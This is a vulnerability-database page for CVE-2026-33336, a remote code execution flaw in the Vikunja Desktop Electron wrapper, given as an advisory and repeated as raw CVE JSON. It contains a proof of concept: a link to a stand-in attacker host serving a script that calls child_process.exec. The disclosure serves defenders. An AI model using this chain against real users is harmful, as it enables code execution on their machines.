CVE-2026-33336 (GCVE-0-2026-33336)
Vulnerability from cvelistv5
Published
2026-03-24 15:16
Modified
2026-03-24 17:44
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- CWE-94 - Improper Control of Generation of Code ('Code Injection')
Summary
Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables `nodeIntegration` in the main BrowserWindow and does not restrict same-window navigations. An attacker who can place a link in user-generated content (task descriptions, comments, project descriptions) can cause the BrowserWindow to navigate to an attacker-controlled origin, where JavaScript executes with full Node.js access, resulting in arbitrary code execution on the victim's machine. Version 2.2.0 patches the issue.
## Root cause
Two misconfigurations combine to create this vulnerability:
1. **`nodeIntegration: true`** is set in `BrowserWindow` web preferences (`desktop/main.js:14-16`), giving any page loaded in the renderer full access to Node.js APIs (`require`, `child_process`, `fs`, etc.).
2. **No `will-navigate` or `will-redirect` handler** is registered on the `webContents`. The existing `setWindowOpenHandler` (`desktop/main.js:19-23`) only intercepts `window.open()` calls (new-window requests). It does **not** intercept same-window navigations triggered by:
- `<a href="https://...">` links (without `target="_blank"`)
- `window.location` assignments
- HTTP redirects
- `<meta http-equiv="refresh">` tags
## Attack scenario
1. The attacker is a normal user on the same Vikunja instance (e.g., a member of a shared project).
2. The attacker creates or edits a project description or task description containing a standard HTML link, e.g.: `<a href="https://evil.example/exploit">Click here for the updated design spec</a>`
3. The Vikunja frontend renders this link. DOMPurify sanitization correctly allows it -- it is a legitimate anchor tag, not a script injection. Render path example: `frontend/src/views/project/ProjectInfo.vue` uses `v-html` with DOMPurify-sanitized output.
4. The victim uses Vikunja Desktop and clicks the link.
5. Because no `will-navigate` handler exists, the BrowserWindow navigates to `https://evil.example/exploit` in the same renderer process.
6. The attacker's page now executes in a context with `nodeIntegration: true` and runs: `require('child_process').exec('id > /tmp/pwned');`
7. Arbitrary commands execute as the victim's OS user.
## Impact
Full remote code execution on the victim's desktop. The attacker can read/write arbitrary files, execute arbitrary commands, install malware or backdoors, and exfiltrate credentials and sensitive data. No XSS vulnerability is required -- a normal, sanitizer-approved hyperlink is sufficient.
## Proof of concept
1. Set up a Vikunja instance with two users sharing a project.
2. As the attacker user, edit a project description to include: `<a href="https://attacker.example/poc.html">Meeting notes</a>`
3. Host poc.html with: `<script>require('child_process').exec('calc.exe')</script>`
4. As the victim, open the project in Vikunja Desktop and click the link.
5. calc.exe (or any other command) executes on the victim's machine.
## Credits
This vulnerability was found using [GitHub Security Lab Taskflows](https://github.com/GitHubSecurityLab/seclab-taskflows).
References
| URL | Tags | |||||||
|---|---|---|---|---|---|---|---|---|
|
||||||||
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| go-vikunja | vikunja |
Version: >= 0.21.0, < 2.2.0 |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-33336",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-03-24T17:44:15.039117Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-03-24T17:44:50.761Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "vikunja",
"vendor": "go-vikunja",
"versions": [
{
"status": "affected",
"version": "\u003e= 0.21.0, \u003c 2.2.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables `nodeIntegration` in the main BrowserWindow and does not restrict same-window navigations. An attacker who can place a link in user-generated content (task descriptions, comments, project descriptions) can cause the BrowserWindow to navigate to an attacker-controlled origin, where JavaScript executes with full Node.js access, resulting in arbitrary code execution on the victim\u0027s machine. Version 2.2.0 patches the issue.\n\n## Root cause\n\nTwo misconfigurations combine to create this vulnerability:\n\n1. **`nodeIntegration: true`** is set in `BrowserWindow` web preferences (`desktop/main.js:14-16`), giving any page loaded in the renderer full access to Node.js APIs (`require`, `child_process`, `fs`, etc.).\n\n2. **No `will-navigate` or `will-redirect` handler** is registered on the `webContents`. The existing `setWindowOpenHandler` (`desktop/main.js:19-23`) only intercepts `window.open()` calls (new-window requests). It does **not** intercept same-window navigations triggered by:\n - `\u003ca href=\"https://...\"\u003e` links (without `target=\"_blank\"`)\n - `window.location` assignments\n - HTTP redirects\n - `\u003cmeta http-equiv=\"refresh\"\u003e` tags\n\n## Attack scenario\n\n1. The attacker is a normal user on the same Vikunja instance (e.g., a member of a shared project).\n2. The attacker creates or edits a project description or task description containing a standard HTML link, e.g.: `\u003ca href=\"https://evil.example/exploit\"\u003eClick here for the updated design spec\u003c/a\u003e`\n3. The Vikunja frontend renders this link. DOMPurify sanitization correctly allows it -- it is a legitimate anchor tag, not a script injection. Render path example: `frontend/src/views/project/ProjectInfo.vue` uses `v-html` with DOMPurify-sanitized output.\n4. The victim uses Vikunja Desktop and clicks the link.\n5. Because no `will-navigate` handler exists, the BrowserWindow navigates to `https://evil.example/exploit` in the same renderer process.\n6. The attacker\u0027s page now executes in a context with `nodeIntegration: true` and runs: `require(\u0027child_process\u0027).exec(\u0027id \u003e /tmp/pwned\u0027);`\n7. Arbitrary commands execute as the victim\u0027s OS user.\n\n## Impact\n\nFull remote code execution on the victim\u0027s desktop. The attacker can read/write arbitrary files, execute arbitrary commands, install malware or backdoors, and exfiltrate credentials and sensitive data. No XSS vulnerability is required -- a normal, sanitizer-approved hyperlink is sufficient.\n\n## Proof of concept\n\n1. Set up a Vikunja instance with two users sharing a project.\n2. As the attacker user, edit a project description to include: `\u003ca href=\"https://attacker.example/poc.html\"\u003eMeeting notes\u003c/a\u003e`\n3. Host poc.html with: `\u003cscript\u003erequire(\u0027child_process\u0027).exec(\u0027calc.exe\u0027)\u003c/script\u003e`\n4. As the victim, open the project in Vikunja Desktop and click the link.\n5. calc.exe (or any other command) executes on the victim\u0027s machine.\n\n## Credits\n\nThis vulnerability was found using [GitHub Security Lab Taskflows](https://github.com/GitHubSecurityLab/seclab-taskflows)."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "HIGH",
"subConfidentialityImpact": "HIGH",
"subIntegrityImpact": "HIGH",
"userInteraction": "PASSIVE",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "NONE"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-94",
"description": "CWE-94: Improper Control of Generation of Code (\u0027Code Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-03-24T15:16:14.681Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-83w9-9jf6-88vf",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-83w9-9jf6-88vf"
},
{
"name": "https://vikunja.io/changelog/vikunja-v2.2.0-was-released",
"tags": [
"x_refsource_MISC"
],
"url": "https://vikunja.io/changelog/vikunja-v2.2.0-was-released"
}
],
"source": {
"advisory": "GHSA-83w9-9jf6-88vf",
"discovery": "UNKNOWN"
},
"title": "Vikunja Desktop vulnerable to Remote Code Execution via same-window navigation"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-33336",
"datePublished": "2026-03-24T15:16:14.681Z",
"dateReserved": "2026-03-18T22:15:11.812Z",
"dateUpdated": "2026-03-24T17:44:50.761Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2",
"vulnerability-lookup:meta": {
"vulnrichment": {
"containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-33336\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"total\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-03-24T17:44:15.039117Z\"}}}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-03-24T17:44:19.016Z\"}}], \"cna\": {\"title\": \"Vikunja Desktop vulnerable to Remote Code Execution via same-window navigation\", \"source\": {\"advisory\": \"GHSA-83w9-9jf6-88vf\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV4_0\": {\"version\": \"4.0\", \"baseScore\": 6.5, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"MEDIUM\", \"vectorString\": \"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H\", \"userInteraction\": \"PASSIVE\", \"attackComplexity\": \"LOW\", \"attackRequirements\": \"NONE\", \"privilegesRequired\": \"NONE\", \"subIntegrityImpact\": \"HIGH\", \"vulnIntegrityImpact\": \"NONE\", \"subAvailabilityImpact\": \"HIGH\", \"vulnAvailabilityImpact\": \"NONE\", \"subConfidentialityImpact\": \"HIGH\", \"vulnConfidentialityImpact\": \"NONE\"}}], \"affected\": [{\"vendor\": \"go-vikunja\", \"product\": \"vikunja\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003e= 0.21.0, \u003c 2.2.0\"}]}], \"references\": [{\"url\": \"https://github.com/go-vikunja/vikunja/security/advisories/GHSA-83w9-9jf6-88vf\", \"name\": \"https://github.com/go-vikunja/vikunja/security/advisories/GHSA-83w9-9jf6-88vf\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://vikunja.io/changelog/vikunja-v2.2.0-was-released\", \"name\": \"https://vikunja.io/changelog/vikunja-v2.2.0-was-released\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables `nodeIntegration` in the main BrowserWindow and does not restrict same-window navigations. An attacker who can place a link in user-generated content (task descriptions, comments, project descriptions) can cause the BrowserWindow to navigate to an attacker-controlled origin, where JavaScript executes with full Node.js access, resulting in arbitrary code execution on the victim\u0027s machine. Version 2.2.0 patches the issue.\\n\\n## Root cause\\n\\nTwo misconfigurations combine to create this vulnerability:\\n\\n1. **`nodeIntegration: true`** is set in `BrowserWindow` web preferences (`desktop/main.js:14-16`), giving any page loaded in the renderer full access to Node.js APIs (`require`, `child_process`, `fs`, etc.).\\n\\n2. **No `will-navigate` or `will-redirect` handler** is registered on the `webContents`. The existing `setWindowOpenHandler` (`desktop/main.js:19-23`) only intercepts `window.open()` calls (new-window requests). It does **not** intercept same-window navigations triggered by:\\n - `\u003ca href=\\\"https://...\\\"\u003e` links (without `target=\\\"_blank\\\"`)\\n - `window.location` assignments\\n - HTTP redirects\\n - `\u003cmeta http-equiv=\\\"refresh\\\"\u003e` tags\\n\\n## Attack scenario\\n\\n1. The attacker is a normal user on the same Vikunja instance (e.g., a member of a shared project).\\n2. The attacker creates or edits a project description or task description containing a standard HTML link, e.g.: `\u003ca href=\\\"https://evil.example/exploit\\\"\u003eClick here for the updated design spec\u003c/a\u003e`\\n3. The Vikunja frontend renders this link. DOMPurify sanitization correctly allows it -- it is a legitimate anchor tag, not a script injection. Render path example: `frontend/src/views/project/ProjectInfo.vue` uses `v-html` with DOMPurify-sanitized output.\\n4. The victim uses Vikunja Desktop and clicks the link.\\n5. Because no `will-navigate` handler exists, the BrowserWindow navigates to `https://evil.example/exploit` in the same renderer process.\\n6. The attacker\u0027s page now executes in a context with `nodeIntegration: true` and runs: `require(\u0027child_process\u0027).exec(\u0027id \u003e /tmp/pwned\u0027);`\\n7. Arbitrary commands execute as the victim\u0027s OS user.\\n\\n## Impact\\n\\nFull remote code execution on the victim\u0027s desktop. The attacker can read/write arbitrary files, execute arbitrary commands, install malware or backdoors, and exfiltrate credentials and sensitive data. No XSS vulnerability is required -- a normal, sanitizer-approved hyperlink is sufficient.\\n\\n## Proof of concept\\n\\n1. Set up a Vikunja instance with two users sharing a project.\\n2. As the attacker user, edit a project description to include: `\u003ca href=\\\"https://attacker.example/poc.html\\\"\u003eMeeting notes\u003c/a\u003e`\\n3. Host poc.html with: `\u003cscript\u003erequire(\u0027child_process\u0027).exec(\u0027calc.exe\u0027)\u003c/script\u003e`\\n4. As the victim, open the project in Vikunja Desktop and click the link.\\n5. calc.exe (or any other command) executes on the victim\u0027s machine.\\n\\n## Credits\\n\\nThis vulnerability was found using [GitHub Security Lab Taskflows](https://github.com/GitHubSecurityLab/seclab-taskflows).\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-94\", \"description\": \"CWE-94: Improper Control of Generation of Code (\u0027Code Injection\u0027)\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-03-24T15:16:14.681Z\"}}}",
"cveMetadata": "{\"cveId\": \"CVE-2026-33336\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-03-24T17:44:50.761Z\", \"dateReserved\": \"2026-03-18T22:15:11.812Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-03-24T15:16:14.681Z\", \"assignerShortName\": \"GitHub_M\"}",
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
}
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.
Loading…
Loading…